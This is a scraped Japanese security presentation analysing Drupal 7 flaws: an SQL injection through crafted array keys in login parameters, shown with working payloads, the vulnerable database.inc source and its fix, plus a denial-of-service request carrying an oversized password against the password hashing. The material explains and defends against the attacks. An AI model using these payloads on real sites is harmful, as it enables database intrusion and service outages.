Mais conteúdo relacionado
Semelhante a SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか (20)
Mais de Hiroshi Tokumaru (17)
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
- 7. Drupalのログイン処理のSQL文を調べる
Copyright © 2012-2014 HASH Consulting Corp. 7
name=admin&pass=xxxxxxxx&form_build_id=form-xQZ7X78LULvs6SyB9Mvuf
bZh5KXjQYRHS05Jl2uD9Kc&form_id=user_login_block&op=Log+in
SELECT * FROM users WHERE name = 'admin' AND status = 1
name[]=user1&name[]=user2&pass=xxxxxxxx&form_build_id=form-xQZ7X7
8LULvs6SyB9MvufbZh5KXjQYRHS05Jl2uD9Kc&form_id=user_login_block&op
=Log+in
SELECT * FROM users WHERE name = 'user1', 'user2' AND status = 1
通常時の要求
通常時のSQL文
nameを配列で指定
nameを配列にした場合のSQL文
文字列リテラルが複数生成される
- 8. IN句生成の便利な呼び出し方だが…
Copyright © 2012-2014 HASH Consulting Corp. 8
<?php
db_query("SELECT * FROM {users} where name IN (:name)",
array(':name'=>array('user1','user2')));
?>
SELECT * from users where name IN (:name_0, :name_1)
array(':name_0'=>'user1', ':name_1'=>'user2'))
db_queryにてIN句のバインド値を配列にすると…
IN句の値がプレースホルダのリストに展開される
バインド値の配列は以下の様に変形される
- 9. キー名をつけると
Copyright © 2012-2014 HASH Consulting Corp. 9
name[id1]=user1&name[id2]=user2
SELECT * FROM {users} WHERE name = :name_id1, :name_id2 AND statu
s = 1
キー名をつけてみる(id1, id2)
プレースホルダにキー名がつく
- 10. 空白付きのキー
Copyright © 2012-2014 HASH Consulting Corp. 10
array(2) {
[":name_1 xxxxx"] => "user1" ← :name_1 ではない
[":name_2"] => "user2"
}
SELECT * FROM {users} WHERE name = :name_1 xxxxx, :name_2 AND sta
tus = 1
キー名に空白をつけてみる
プレースホルダに空白が含まれる
ちぎれたプレースホルダはSQL文
の一部として認識される
プレースホルダには、キー :name_1がないので上記のSQL文呼び出しはエラーになる
name[1 xxxxx]=user1&name[2]=user2
- 11. バインド値のつじつまを合わせる
Copyright © 2012-2014 HASH Consulting Corp. 11
array(2) {
[":name_2 xxxxx"] => ""
[":name_2"] => "user2"
}
SELECT * FROM {users} WHERE name = :name_2 xxxxx, :name_2 AND sta
tus = 1
キー名に空白をつけてみる
プレースホルダに空白が含まれる
プレースホルダ :name_2 が
2箇所現れる
プレースホルダ配列は上記SQL文の要求を満たすのでSQL文は呼び出される…
が、xxxxxの箇所でSQLの文法違反となる
name[2 xxxxx]=&name[2]=user2
- 12. SQLインジェクションを試す
Copyright © 2012-2014 HASH Consulting Corp. 12
SELECT * FROM users WHERE name = 'user2' ;SELECT sleep(10) -- , '
user2' AND status = 1
キー名に追加のSQL文を書く
実際に呼び出されるSQL文
name[2 ;SELECT sleep(10) -- ]=&name[2]=user2
SELECT * FROM {users} WHERE name = :name_2 ;SELECT sleep(10) -- ,
:name_2 AND status = 1
プレースホルダの後ろに追加のSQL文が現れる
- 13. 脆弱なソース
// includes/database/database.inc
protected function expandArguments(&$query, &$args) {
$modified = FALSE;
// $argsの要素から配列のみ処理対象として foreach
foreach (array_filter($args, 'is_array') as $key => $data) {
$new_keys = array();
// $dataは配列であるはずなので、foreach 可能。 $i(キー)に注目
foreach ($data as $i => $value) {
$new_keys[$key . '_' . $i] = $value;
}
// $queryを改変 $new_keysのキーをarray_keysでSQL文に混ぜている
$query = preg_replace('#' . $key . 'b#',
implode(', ', array_keys($new_keys)), $query);
unset($args[$key]);
$args += $new_keys;
$modified = TRUE;
}
return $modified;
}
Copyright © 2012-2014 HASH Consulting Corp. 13
- 14. 対策版
// includes/database/database.inc
protected function expandArguments(&$query, &$args) {
$modified = FALSE;
// $argsの要素から配列のみ処理対象として foreach
foreach (array_filter($args, 'is_array') as $key => $data) {
$new_keys = array();
// $dataは配列であるはずなので、foreach 可能。 $i(キー)に注目
//foreach ($data as $i => $value) {
foreach (array_values($data) as $i => $value) { // キーを削除
$new_keys[$key . '_' . $i] = $value;
}
// $queryを改変 $new_keysのキーをarray_keysでSQL文に混ぜている
$query = preg_replace('#' . $key . 'b#',
implode(', ', array_keys($new_keys)), $query);
unset($args[$key]);
$args += $new_keys;
$modified = TRUE;
}
return $modified;
}
Copyright © 2012-2014 HASH Consulting Corp. 14
- 17. 巧妙に細工されたリクエスト…とは?
POST /drupal731/?q=node&destination=node HTTP/1.1
Host: example.jp
User-Agent: Mozilla
Cookie: has_js=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 10114
name=admin&pass=1234567890123456789012345678901234567890123456789012
345678901234567890123456789012345678901234567890123456789012345678901
234567890123456789012345678901234567890123456789012345678901234567890
123456789012345678901234567890123456789012345678901234567890123456789
012345678901234567890123456789012345678901234567890123456789012345678
901234567890123456789012345678901234567890123456789012345678901234567
890123456789012345678901234567890123456789012345678901234567890123456
789012345678901234567890123456789012345678901234567890……..…1234567890
123456789012345678901234567890123456789012345678901234567890123456789
012345678901234567890123456789012345678901234567890123456789012345678
901234567890123456789012345678901234567890&form_build_id=form-Fw_Sa9fPZ
5wQBHOURorm7aOILRlK2KXropvxrELFKtc&form_id=user_login_block&op=Log+in
Copyright © 2012-2014 HASH Consulting Corp. 17
100万バイトの
パスワード
DEMO
- 18. パスワードハッシュ値の計算部分
function _password_crypt($algo, $password, $setting) {
// ...
// Convert the base 2 logarithm into an integer.
$count = 1 << $count_log2; // $count は32768となる
// We rely on the hash() function being available in PHP 5.2+.
// ソルトとパスワードを連結したもののSHA-512ハッシュを求める
$hash = hash($algo, $salt . $password, TRUE);
do {
// これまでのハッシュ値とパスワードを連結したもののSHA-512ハッシュ
$hash = hash($algo, $hash . $password, TRUE);
} while (--$count); // 32768回繰り返し
$len = strlen($hash);
$output = $setting . _password_base64_encode($hash, $len);
$expected = 12 + ceil((8 * $len) / 6);
return (strlen($output) == $expected) ? substr($output, 0,
DRUPAL_HASH_LENGTH) : FALSE;
}
Copyright © 2012-2014 HASH Consulting Corp. 18